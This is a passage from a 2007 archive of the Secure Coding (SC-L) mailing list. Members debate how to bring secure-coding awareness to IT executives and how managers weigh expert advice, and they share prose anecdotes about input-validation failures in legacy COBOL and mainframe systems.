> executives still haven't heard about the principles behind secure
> coding. My take says that we are publishing information in all the wrong
> places. IT executives don't really read ACM, IEEE or other the sporadic
> posting from bloggers but they do read CIO, Wall Street Journal and most
> importantly listen to each other.
> 
> What do folks on this list think about asking the magazines and
> newspapers to publish? I am willing to gather contact information of
> news reporters and others within the media if others are willing to
> amplify the call to action in terms of contacting them.
> 
> 
> 
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 



From br at juniper.net  Thu Nov 15 17:07:17 2007
From: br at juniper.net (Bernie Rosen)
Date: Thu, 15 Nov 2007 14:07:17 -0800
Subject: [SC-L] OWASP Publicity
In-Reply-To: <473CABFF.7070808@crispincowan.com>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com><343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>
	<473CABFF.7070808@crispincowan.com>
Message-ID: <F07F17B61B7FF545BC7D7E4BFBE15D2A0802BC2D@hadron.jnpr.net>

But, if you get the ideas in front of the C-Suite folks and it
resonates, then they push it down the lines in their organization where,
one hopes, those who should pay attention will pay attention. Awareness,
I would think, is what matters.

My $0.02 for the week. 

Bernie

====================
Bernie Rosen
Director, Juniper SIRT
1-408-936-4809 Direct
1-650-714-8255 Mobile
==================== 
-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Crispin Cowan
Sent: Thu 15 Nov 2007 12:29
To: McGovern, James F (HTSC, IT)
Cc: Secure Coding
Subject: Re: [SC-L] OWASP Publicity

McGovern, James F (HTSC, IT) wrote:
> I have observed an interesting behavior in that the vast majority of 
> IT executives still haven't heard about the principles behind secure 
> coding. My take says that we are publishing information in all the 
> wrong places. IT executives don't really read ACM, IEEE or other the 
> sporadic posting from bloggers but they do read CIO, Wall Street 
> Journal and most importantly listen to each other.
>
> What do folks on this list think about asking the magazines and 
> newspapers to publish? I am willing to gather contact information of 
> news reporters and others within the media if others are willing to 
> amplify the call to action in terms of contacting them.
>   
The vast majority of IT executives are unfamiliar with all of the
principles of security, firewalls, coding, whatever.

The important thing to understand is that such principles are below
their granularity; then are *right* to not care about such principles,
because they can't do anything about them. Their granularity of decision
making is which products to buy, which strategies to adopt, which
managers to hire and fire. Suppose they did understand the principles of
secure coding; how then would they use that to decide between firewalls?
Web servers? Application servers?

If anything, the idea that needs to be pitched to IT executives is to
pay more attention to "quality" than to shiny buttons & features. But
there's the rub, what is "quality" and how can an IT executive measure
it?

I have lots of informal metrics that I use to measure quality, but they
largely amount to synthesized reputation capital, derived from reading
bugtraq and the like with respect to how many vulnerabilities I see with
respect to a given product, e.g. Qmail and Postifx are extremely secure,
Pidgin not so much :)

But as soon as we formalize anything like this kind of metric, and get
executives to start buying according to it, then vendors start gaming
the system. They start developing aiming at getting the highest
whatever-metric score they can, rather than for actual quality. This
happens because metrics that approximate quality are always cheaper to
achieve than actual quality.

This is a very, very hard problem, and sad to say, but pitching articles
articles on principles to executives won't solve it.

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin
CEO, Mercenary Linux		   http://mercenarylinux.com/
	       Itanium. Vista. GPLv3. Complexity at work

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List
information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com) as a free, non-commercial service to the software
security community.
_______________________________________________


From gem at cigital.com  Thu Nov 15 18:04:40 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 15 Nov 2007 18:04:40 -0500
Subject: [SC-L] OWASP Publicity
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2EFBC9B626@va-mailhub.cigital.com>

Thanks gunnar.  That was a gratifying article that I am proud of.

We've garnered good coverage as a field in CIO magazine too.  I don't think it's as simple as having ink in the right locations, but I do agree with james that that helps.  Software security is continuing to spread and grow, and we need to keep the good work coming.

gem



----- Original Message -----
From: sc-l-bounces at securecoding.org <sc-l-bounces at securecoding.org>
To: James McGovern <James.McGovern at thehartford.com>; Secure Mailing List <SC-L at securecoding.org>
Sent: Thu Nov 15 15:46:13 2007
Subject: Re: [SC-L] OWASP Publicity

Local boy makes good

http://online.wsj.com/article/0,,SB112128453130584810,00-search.html

-gp


On 11/15/07 10:25 AM, "McGovern, James F (HTSC, IT)"
<James.McGovern at thehartford.com> wrote:

> I have observed an interesting behavior in that the vast majority of IT
> executives still haven't heard about the principles behind secure
> coding. My take says that we are publishing information in all the wrong
> places. IT executives don't really read ACM, IEEE or other the sporadic
> posting from bloggers but they do read CIO, Wall Street Journal and most
> importantly listen to each other.
>
> What do folks on this list think about asking the magazines and
> newspapers to publish? I am willing to gather contact information of
> news reporters and others within the media if others are willing to
> amplify the call to action in terms of contacting them.
>
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From mouse at Rodents.Montreal.QC.CA  Fri Nov 16 02:58:42 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Fri, 16 Nov 2007 02:58:42 -0500 (EST)
Subject: [SC-L] OWASP Publicity
In-Reply-To: <473CABFF.7070808@crispincowan.com>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>
	<473CABFF.7070808@crispincowan.com>
Message-ID: <200711160807.DAA12052@Sparkle.Rodents.Montreal.QC.CA>

> The vast majority of IT executives are unfamiliar with all of the
> principles of security, firewalls, coding, whatever.

> The important thing to understand is that such principles are below
> their granularity; the[y] are *right* to not care about such
> principles, because they can't do anything about them.

Perhaps - but then, they have to stop second-guessing the people who
*do* know what they're talking about.  Trying to have it both ways -
management that is inexpert but nevertheless imposes their opinions on
design or buying decisions - is a recipe for disaster, and, while
hardly universal, is all too common.

I've never understood why it is that managers who would never dream of
second-guessing an electrician about electrical wiring, a construction
engineer about wall bracing, a mechanic about car repairs, will not
hesitate to believe - or at least act as though they believe - they
know better than their in-house experts when it comes to what computer,
especially software, decisions are appropriate, and use their
management position to dictate choices based on their inexpert,
incompletely informed, and often totally incompetent opinions.  (Not
just security decisions, either, though that's one of the cases with
the most unfortunate consequences.)

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From leichter_jerrold at emc.com  Fri Nov 16 09:24:10 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Fri, 16 Nov 2007 09:24:10 -0500 (EST)
Subject: [SC-L] OWASP Publicity
In-Reply-To: <200711160807.DAA12052@Sparkle.Rodents.Montreal.QC.CA>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>
	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>
	<473CABFF.7070808@crispincowan.com>
	<200711160807.DAA12052@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <Pine.SOL.4.61.0711160915480.12157@mental>

| ...I've never understood why it is that managers who would never dream
| of second-guessing an electrician about electrical wiring, a
| construction engineer about wall bracing, a mechanic about car
| repairs, will not hesitate to believe - or at least act as though they
| believe - they know better than their in-house experts when it comes
| to what computer, especially software, decisions are appropriate, and
| use their management position to dictate choices based on their
| inexpert, incompletely informed, and often totally incompetent
| opinions.  (Not just security decisions, either, though that's one of
| the cases with the most unfortunate consequences.)
This is perhaps the most significant advantage to licensing and other
forms of official recognition of competence.  At least in theory, a
licensed professional is bound by an officially-sanctioned code of
conduct to which he has to answer, regardless of his employment chain
of command.

In reality, of course, things are not nearly so simple, along many
dimensions.  Theory and practice are often very different.  However ...
the next time you run into a situation where you are forced into
a technically bad decision because some salesman took a VP to a nice
golf course - imagine that you could pull down some official regulation
that supported your argument.  The world has many shades of gray....

							-- Jerry

From gem at cigital.com  Fri Nov 16 16:05:51 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 16 Nov 2007 16:05:51 -0500
Subject: [SC-L] podcast (IT Conversations)
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2EFBD953CD@va-mailhub.cigital.com>

hi sc-l,

In a recent episode of the IT Conversations podcast, the hosts and I discussed online games and software security at length.  This was a pretty geeky conversation that was lots of fun.

Listen to it here:
http://itc.conversationsnetwork.org/shows/detail3436.html

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From crispin at crispincowan.com  Sat Nov 17 02:56:59 2007
From: crispin at crispincowan.com (Crispin Cowan)
Date: Fri, 16 Nov 2007 23:56:59 -0800
Subject: [SC-L] OWASP Publicity
In-Reply-To: <200711160807.DAA12052@Sparkle.Rodents.Montreal.QC.CA>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>	<473CABFF.7070808@crispincowan.com>
	<200711160807.DAA12052@Sparkle.Rodents.Montreal.QC.CA>
Message-ID: <473E9ECB.5020903@crispincowan.com>

der Mouse wrote:
>> The vast majority of IT executives are unfamiliar with all of the
>> principles of security, firewalls, coding, whatever.
>>     
> ...
>   
>> The important thing to understand is that such principles are below
>> their granularity; the[y] are *right* to not care about such
>> principles, because they can't do anything about them.
>>     
> Perhaps - but then, they have to stop second-guessing the people who
> *do* know what they're talking about.  Trying to have it both ways -
> management that is inexpert but nevertheless imposes their opinions on
> design or buying decisions - is a recipe for disaster, and, while
> hardly universal, is all too common.
>   
I submit that really *good* managers do listen to the experts around
them. That is really basic to good management; surround yourself with
experts, and then listen to them.

Of course there's lots of bad managers, because managing is so
subjective that bad managers find it easy to survive. Measuring the
quality of management is about as difficult as measuring the quality of
software.

> I've never understood why it is that managers who would never dream of
> second-guessing an electrician about electrical wiring, a construction
> engineer about wall bracing, a mechanic about car repairs, will not
> hesitate to believe - or at least act as though they believe - they
> know better than their in-house experts when it comes to what computer,
> especially software, decisions are appropriate, and use their
> management position to dictate choices based on their inexpert,
> incompletely informed, and often totally incompetent opinions.  (Not
> just security decisions, either, though that's one of the cases with
> the most unfortunate consequences.)
>   
Because the kind of personality that seeks to become a manager is a
self-important arrogant snot, myself included :) It thus takes conscious
effort to listen to the opinions of others, and let them win when they
have a persuasive argument.

Even more simple: this trait of believing your own opinions more than
those of others is nearly universal in humans. Managers simply have the
power to indulge themselves, and only occasionally have the wisdom to
*not* indulge themselves.

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin
CEO, Mercenary Linux		   http://mercenarylinux.com/
	       Itanium. Vista. GPLv3. Complexity at work


From vanderaj at owasp.org  Sun Nov 18 00:58:16 2007
From: vanderaj at owasp.org (Andrew van der Stock)
Date: Sun, 18 Nov 2007 00:58:16 -0500
Subject: [SC-L] COBOL Exploits
In-Reply-To: <CMM.0.90.4.1194025506.neumann@chiron.csl.sri.com>
References: <CMM.0.90.4.1194025506.neumann@chiron.csl.sri.com>
Message-ID: <2CE8A7AE-854A-4E25-8DCC-70B65A0B231A@owasp.org>

I've been researching web app -> mainframe security from a software  
engineering perspective for about the last six months. If anyone from  
a mainframe background wants to collaborate, I'd be more than happy to  
share as I have a few challenges:

a) I'm working from secondary resources (web pages, manuals, PDFs)
b) I don't have access to a z/OS or similar system and thus cannot  
mock up a test environment to prove or disprove my hypotheses on how  
best to prevent certain classes of attack
c) I really don't have a lot of experience with z/OS, COBOL, DB2, IMS,  
or CICS. Therefore, I could be missing some great resources and  
features.

Saying that, I have made a bit of headway by applying first principles  
and trying to discover what is available to assist and protect against  
certain threats and attacks. I've just posted a draft entry to my blog  
detailing the first (and I mean first) post I've had brewing since May  
this year. It's nowhere near as good as I would have liked.

I don't do exploits. You will not be seeing any "how to hax0rs b1g  
ir0n" from me. I don't see the relevance of arming script kiddies.  
Only the architects and developers need to know how to develop and  
maintain safer designs and code, and folks like me need to know what  
to look for to make sure it's in place.

That said, from my personal research, this area is a total greenfield.  
The folks who know mainframe security simply don't come out of their  
shells often enough. They have the goods, but the goods are not really  
well known amongst the architects and devs I've dealt with. Most of  
the business folks who ask for their shiny new dodgy code to talk to  
old dodgy transactions don't see this risk and refuse to pay to have  
qualified folks review and remediate the security of the mainframe  
side. They see it as this reliable old workhorse - which is not broke,  
so don't fix it. And in my personal experience, they NEVER fix it.

On another note, I'm really happy to see Fortify tackle the mainframe  
with their SCA products. It's really late and delayed, but better late  
than never. I know a bunch of sites that could use that tool if it  
works even 1% as well as the marketing is likely to make out.

thanks,
Andrew van der Stock
Executive Director, OWASP
Project Lead & Author, OWASP Guide

On Nov 2, 2007, at 1:45 PM, Peter G. Neumann wrote:

> Searching through
>  http://www.csl.sri.com/neumann/illustrative.html
> gives these COBOL-related RISKS items.  The initial
> character descriptors are defined there.  In the citations,
>
> * R relates to RISKS (archives at risks.org)
> * S relates to SIGSOFT Software Engineering Notes (archives at
>    www.sigsoft.org/SEN/ although more recent items also in RISKS)
>
> Vf  West Drayton ATC system bug found in 2-yr-old COBOL code (S 16  
> 3, R 11 30)
>
> \$fe IRS COBOL reprogramming delays; interest paid on over 1,150,000  
> refunds
>  (S 10 3:12)
>
> S[H?] Election frauds, lawsuits, spaghetti code, same memory locations
> used for multiple races simultaneously, undocumented GOTOs, COBOL
> ALTER verb allowing self-modifying code, calls to undocumented/unknown
> subroutines, bypassable audit trails (S 11 3);
> Report from the Computerized Voting Symposium, August 1986 (S 11 5)
>
> Sie
> Data transfer Excel-COBOL loses voter data in 2003 Greenville
>  Mississippi election (R 22 95)
>
> \$hi Man gets \$218 trillion phone bill (R 24 24); COBOL program?
>  (R 24 27,29,30,33)
>
> f Discussion of date and century roll-over problems:
> Fujitsu SRS-1050 ISDN display phones fail on two-digit month (10);
> 1401 one-character year field; COBOL improvements; IBM 360 (S 20 2:13)
>  [See Fred Ballard and Walt Murray  (R 16 70 ff).]
>  [Lots of stuff is relevant on COBOL's two-character year field
>  and the entire Y2K saga.]
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com 
> )
> as a free, non-commercial service to the software security community.
> _______________________________________________

Andrew van der Stock
Executive Director, OWASP
Lead Author, OWASP Guide



-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2458 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071118/c014d2fd/attachment.bin 

From vanderaj at owasp.org  Sun Nov 18 01:17:10 2007
From: vanderaj at owasp.org (Andrew van der Stock)
Date: Sun, 18 Nov 2007 01:17:10 -0500
Subject: [SC-L] Mainframe Security
In-Reply-To: <87640jbe9c.fsf@mid.deneb.enyo.de>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
	<Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>
	<470BCAEC.8040209@nist.gov>
	<773F863A6009244B87E6E866AFC7DB4605FBFFEA@AD1HFDEXC309.ad1.prod>
	<25b6e5cf0711011316g2c67c180i1d1e0ea9dcc1da5b@mail.gmail.com>
	<p05200f2bc35040e867b4@[192.168.1.254]>
	<87ve8ks1vl.fsf@mid.deneb.enyo.de>
	<p05200f03c3519f05c54d@[192.168.1.254]>
	<87640jbe9c.fsf@mid.deneb.enyo.de>
Message-ID: <D2A5914E-1EC6-431A-96D1-80001BABBFBD@owasp.org>

In my experience of reviewing COBOL and mainframes in general, it's  
worthwhile to evaluate doing bad things to the business logic. The  
designers are literal in their translation of the business  
requirements to specifications, and never think of the mis-use cases.  
Mainframe coders aren't paid to design and implementing missing links  
in the design, and are often penalized if they stray too far from the  
specification. Therefore, as Peter pointed out in a previous thread,  
almost all of the "exploits" for mainframes goes after the golden  
apples - the business logic and the underlying asset.

Luckily, up until recently, data which violated the requirements  
wasn't easy to get in, but now it's more than easy:

a) a system I am aware of used to be green screen only and had  
validation to prevent unauthorized characters like commas in the  
presentation layer. Once the underlying transaction was made available  
to process transactions from the Internet, customers finally could  
manipulate this data. Someone didn't bother to eliminate "," as a  
valid character as it wasn't in the spec - they only had a few  
characters to eliminate and "," wasn't one of them. The comma upset  
the strip (batch data) file. Caused several abends and a lot of  
sleepless nights for the folks whilst they worked out how to get rid  
of this troublesome character from a multi-gigabyte file and  
successfully re-run the batch without re-processing already processed  
transactions.

b) I have spaces in my name. Galileo, the online booking system used  
by pretty much everyone is written on top of TPS, an old (and I mean  
OLD - it's older than me) OS for IBM mainframes. TPS is written in  
assembly language, as is most of the Galileo transactions for freight  
and self-loading freight (humans). If you try like me to enter the  
legally required spaces in your name as often as you can, it's nearly  
funny the number of times I've had to get manual assistance to get on  
planes and through the TSA checkpoint. I'm sure it's because Galileo  
doesn't handle spaces properly. I wonder what other characters it  
doesn't like.

c) The EOF marker in EBCDIC works real well. If your outside program  
can send it in a field and it doesn't mean anything to anyone ...  
until it hits a file, you can cause a lot of problems, particularly  
with batch driven systems. Luckily, most front end systems I come  
across don't know what to do with low ASCII entries and either don't  
pass it on, or fail to translate it properly, thus preventing a  
workable attack.

thanks,
Andrew

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2458 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071118/71492d15/attachment.bin 

From list-procurare at secureconsulting.net  Sun Nov 18 10:08:28 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Sun, 18 Nov 2007 10:08:28 -0500
Subject: [SC-L] OWASP Publicity
In-Reply-To: <473CABFF.7070808@crispincowan.com>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod>
	<473CABFF.7070808@crispincowan.com>
Message-ID: <4740556C.3090408@secureconsulting.net>

I agree and disagree with these comments, as I think they possibly
represent an outmoded way of thinking when it comes to IT management.
Execs and senior mgmt _must_ have a certain understanding of security
that will at least give them a basis for making risk decisions. It seems
today that they are fine (generally) making business risk decisions, but
then believe falsely that making an IT risk decision requires following
a completely different set of rules (when, in fact, it's just another
kind of business risk decision). I'm of the belief that this directly
correlates to their lack of fundamental understanding of IT and security
issues.

Where I agree is the level of detail that needs to be imparted. OWASP
Top 10 is probably too much detail to communicate to the average exec or
sr manager. However, we must not overlook that these business leaders
were once individual contributors. Yes, it's true that some of these
folks came up through a strictly business route, but for the most part
these days I see these careers originating in at least a semi-technical
role. We should be seeking to leverage those backgrounds to educate them
and bring them to modern times.

On Crispin's later comments about bad vs good managers, I think he's
very much hit the nail on the head (see the quote in my sig). However,
there's one aspect that's overlooked, which is outdated prior history.
If an executive's understanding of technology is founded in their first
contributions as an individual contributor 10-20 years ago, then this
means their understanding of modern technology may be severely limited.
I'm sure all of us understand how difficult it is to stay on top of
current trends as technology evolves, and it's often our job to do so.
What if it's not your job to keep current? The times will change while
your focus is elsewhere, but only a truly savvy person will think to
check that context before making decisions that affect it. This seems to
be a rarity.

So, to conclude, I think that it would be valuable, in broad brush
strokes, to educate leaders about secure coding - and security in
general - but perhaps not to the level of detail we might really desire
to see. We want execs and sr managers to drive their folks toward secure
coding practices, but that doesn't mean they themselves have to know how
to code securely. As such, in targeting these other publications, the
message should be refined to be business-oriented, extolling the
business risks associated with ignoring these practices and providing a
big arrow pointing in the direct of orgs like OWASP.

fwiw.

-ben

-- 
Benjamin Tomhave, MS, CISSP
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/in/btomhave
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

[ Random Quote: ]
"If a man is offered a fact which goes against his instincts, he will
scrutinize it closely, and unless the evidence is overwhelming, he will
refuse to believe it. If, on the other hand, he is offered something
which affords a reason for acting in accordance to his instincts, he
will accept it even on the slightest evidence. The origin of myths is
explained in this way."
Bertrand Russell

Crispin Cowan wrote:
> McGovern, James F (HTSC, IT) wrote:
>> I have observed an interesting behavior in that the vast majority of IT
>> executives still haven't heard about the principles behind secure
>> coding. My take says that we are publishing information in all the wrong
>> places. IT executives don't really read ACM, IEEE or other the sporadic
>> posting from bloggers but they do read CIO, Wall Street Journal and most
>> importantly listen to each other.
>>
>> What do folks on this list think about asking the magazines and
>> newspapers to publish? I am willing to gather contact information of
>> news reporters and others within the media if others are willing to
>> amplify the call to action in terms of contacting them. 
>>   
> The vast majority of IT executives are unfamiliar with all of the
> principles of security, firewalls, coding, whatever.
> 
> The important thing to understand is that such principles are below
> their granularity; then are *right* to not care about such principles,
> because they can't do anything about them. Their granularity of decision
> making is which products to buy, which strategies to adopt, which
> managers to hire and fire. Suppose they did understand the principles of
> secure coding; how then would they use that to decide between firewalls?
> Web servers? Application servers?
> 
> If anything, the idea that needs to be pitched to IT executives is to
> pay more attention to "quality" than to shiny buttons & features. But
> there's the rub, what is "quality" and how can an IT executive measure it?
> 
> I have lots of informal metrics that I use to measure quality, but they
> largely amount to synthesized reputation capital, derived from reading
> bugtraq and the like with respect to how many vulnerabilities I see with
> respect to a given product, e.g. Qmail and Postifx are extremely secure,
> Pidgin not so much :)
> 
> But as soon as we formalize anything like this kind of metric, and get
> executives to start buying according to it, then vendors start gaming
> the system. They start developing aiming at getting the highest
> whatever-metric score they can, rather than for actual quality. This
> happens because metrics that approximate quality are always cheaper to
> achieve than actual quality.
> 
> This is a very, very hard problem, and sad to say, but pitching articles
> articles on principles to executives won't solve it.
> 
> Crispin
> 

From James.McGovern at thehartford.com  Mon Nov 19 10:41:55 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 19 Nov 2007 10:41:55 -0500
Subject: [SC-L] OWASP Publicity
In-Reply-To: <473CABFF.7070808@crispincowan.com>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com> 
	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod> 
	<473CABFF.7070808@crispincowan.com>
Message-ID: <343390A82AF98D41AD00D1031D501DB60D39D3@AD1HFDEXC309.ad1.prod>



The vast majority of IT executives are unfamiliar with all of the
principles of security, firewalls, coding, whatever.

Are they unfamiliar because of background or they feel that their staff
has a handle on it and therefore don't need to pay much atention to it.
Both have different characteristics in terms of getting the word out.

The important thing to understand is that such principles are below
their granularity; then are *right* to not care about such principles,
because they can't do anything about them. Their granularity of decision
making is which products to buy, which strategies to adopt, which
managers to hire and fire. Suppose they did understand the principles of
secure coding; how then would they use that to decide between firewalls?
Web servers? Application servers?

Executives don't need to care about the details but they can care enough
to embrace the notion of procuring secure software. They can care about
the fact that much of their code that they outsource doesn't have any
metrics attached to them and that acceptance shouldn't be on meeting
functionality alone.

If anything, the idea that needs to be pitched to IT executives is to
pay more attention to "quality" than to shiny buttons & features. But
there's the rub, what is "quality" and how can an IT executive measure
it?

The best way for IT executives to measure things are metrics that
indicate a trend. Regardless of what they decide to measure, it should
trend positive.

I have lots of informal metrics that I use to measure quality, but they
largely amount to synthesized reputation capital, derived from reading
bugtraq and the like with respect to how many vulnerabilities I see with
respect to a given product, e.g. Qmail and Postifx are extremely secure,
Pidgin not so much :)

But as soon as we formalize anything like this kind of metric, and get
executives to start buying according to it, then vendors start gaming
the system. They start developing aiming at getting the highest
whatever-metric score they can, rather than for actual quality. This
happens because metrics that approximate quality are always cheaper to
achieve than actual quality.

This is a very, very hard problem, and sad to say, but pitching articles
articles on principles to executives won't solve it.

My notion wasn't just pitching to them as this is what has occured to
date. I was also suggesting that the media take on secure coding has to
go well beyond the frequent consultant and vendor types that post here.
If you think for a moment about other successful marketing campaigns in
IT such as CMMi, ITIL, etc, the vast majority of executives know and
embrace it but can't tell you who even invented it as the community let
it grow past the founding members. We haven't yet came to same
realization here...

Crispin

--
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin
CEO, Mercenary Linux               http://mercenarylinux.com/
               Itanium. Vista. GPLv3. Complexity at work





*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071119/fd7e82b0/attachment.html 

From james.stibbards at cloakware.com  Mon Nov 19 11:00:41 2007
From: james.stibbards at cloakware.com (James Stibbards)
Date: Mon, 19 Nov 2007 11:00:41 -0500
Subject: [SC-L] OWASP Publicity
In-Reply-To: <4740556C.3090408@secureconsulting.net>
References: <e9cf3c9b0711050350i3250163dm47af99476fb931ae@mail.gmail.com>	<343390A82AF98D41AD00D1031D501DB6243D33@AD1HFDEXC309.ad1.prod><473CABFF.7070808@crispincowan.com>
	<4740556C.3090408@secureconsulting.net>
Message-ID: <006501c82ac5$56776bd0$5ecb14ac@CW0669>

Ben,

Good comments.  It may be true that "older" technology is what today's Sr
Managers have the most familiarity with, however... In my opinion, it's not
that familiarity that we (or they) should rely on, in order to be
well-informed, and thus be making good security-related decisions. It's no
longer their job to be into the details of that technology, unless they are
the CTO (for example), and if they are into the details... That's actually a
red flag to me that they're likely *not* doing their actual job, today, as a
Sr. Manager.  [Slight rant: It *is* the responsibility of the management
team of the organization, overall, to be sure that information which is
critical to the organization be conveyed, abstracted or not, up and down the
layers of the entire omanagement and individual contributors... to
accomplish whatever organizational goals exist. (see more, below).]

If a Sr Manager was once familiar with COBOL (I chuckled at the recent COBOL
SC-L postings...), but the issues are now WinMobile and AJAX, then it's
really the responsibility of someone in the organzation to have synthesized
and presented  the security issues, opportunities, and costs as they relate
to WinMobile/AJAX/etc. to senior management as Business Issues. At other
layers in the organization, yes, there are Technology issues, concerns, joy
and grief... But not at the Executive levels, because that's not their
job(!).

As an aside...since security means so many things to so many people, here is
a 4-layer model that I use with a lot of my customer to help position what
we do, in the "vast" landscape of security:

 1. Business/Mission objectives - what are "we" trying to accomplish?
 2. Systems Architecture - how is this being instantiated, in terms of
systems, communication, storage, etc?
 3. Security Architecture - what specific technology and processes are we
using to reduce risk, introduce control mechanisms, etc.
 4. Protection Technology - how do we lock down the #3, so it can be
resistant to attack, itself.

I've used this over and over again, in helping to frame discussions of what
"should" or "could" be done, so that they're not confusing.  For example, a
question of policy with a question of choice of technology selection.

A few days early, but Happy Thanksgiving, to all!

- James

James W. Stibbards
Sr. Director - Sales Engineering
Cloakware, Inc.
email: james.stibbards at cloakware.com 
phone: 703-752-4836
cell: 571-232-7210


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Benjamin Tomhave
Sent: Sunday, November 18, 2007 10:08 AM
To: Secure Coding
Subject: Re: [SC-L] OWASP Publicity

I agree and disagree with these comments, as I think they possibly represent
an outmoded way of thinking when it comes to IT management.
Execs and senior mgmt _must_ have a certain understanding of security that
will at least give them a basis for making risk decisions. It seems today
that they are fine (generally) making business risk decisions, but then
believe falsely that making an IT risk decision requires following a
completely different set of rules (when, in fact, it's just another kind of
business risk decision). I'm of the belief that this directly correlates to
their lack of fundamental understanding of IT and security issues.

Where I agree is the level of detail that needs to be imparted. OWASP Top 10
is probably too much detail to communicate to the average exec or sr
manager. However, we must not overlook that these business leaders were once
individual contributors. Yes, it's true that some of these folks came up
through a strictly business route, but for the most part these days I see
these careers originating in at least a semi-technical role. We should be
seeking to leverage those backgrounds to educate them and bring them to
modern times.

On Crispin's later comments about bad vs good managers, I think he's very
much hit the nail on the head (see the quote in my sig). However, there's
one aspect that's overlooked, which is outdated prior history.
If an executive's understanding of technology is founded in their first
contributions as an individual contributor 10-20 years ago, then this means
their understanding of modern technology may be severely limited.
I'm sure all of us understand how difficult it is to stay on top of current
trends as technology evolves, and it's often our job to do so.
What if it's not your job to keep current? The times will change while your
focus is elsewhere, but only a truly savvy person will think to check that
context before making decisions that affect it. This seems to be a rarity.

So, to conclude, I think that it would be valuable, in broad brush strokes,
